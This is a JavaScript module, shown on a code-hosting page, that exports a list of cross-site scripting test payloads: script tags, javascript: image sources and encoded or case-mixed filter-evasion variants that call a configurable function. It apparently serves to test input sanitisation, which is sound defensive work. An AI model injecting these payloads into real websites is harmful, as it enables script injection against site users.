-
Notifications
You must be signed in to change notification settings - Fork 4
/
index.js
29 lines (28 loc) · 1.73 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
module.exports = function(fn) {
fn = fn || 'console.error';
return [
'>"><script>' + fn + '("XSStest1")</script>&',
'"><STYLE>@import"javascript:' + fn + '(\'XSStest2\')";</STYLE>',
'>"\'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;',
' alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>',
'>%22%27><img%20src%3d%22javascript:' + fn + '(%27%20XSStest3%27)%22>',
`'%uff1cscript%uff1e' + fn + '('XSStest4')%uff1c/script%uff1e'
">
>" `,
'\'\';!--"<XSS>=&{()}',
'<IMG SRC="javascript:' + fn + '(\'XSStest5\');">',
'<IMG SRC=javascript:' + fn + '(\'XSStest6\')>',
'<IMG SRC=JaVaScRiPt:' + fn + '(\'XSStest7\')> ',
'<IMG SRC=JaVaScRiPt:' + fn + '("XSStest8<WBR>")>',
`<IMGSRC=java&<WBR>#115;crip&<WBR>#116;:a
le&<WBR>#114;t('XS<WBR>;S')>`,
`<IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:
&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>`,
`<IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(
&<WBR>#x27XSS')>`,
'<IMG SRC="jav	ascript:' + fn + '(<WBR>\'XSStest9\');">',
'<IMG SRC="jav
ascript:' + fn + '(<WBR>\'XSStest10\');">',
'<IMG SRC="jav
ascript:' + fn + '(<WBR>\'XSStest11\');">',
'js4%22,x:' + fn + '%28%22XSS12%22%29,y:%22'
];
};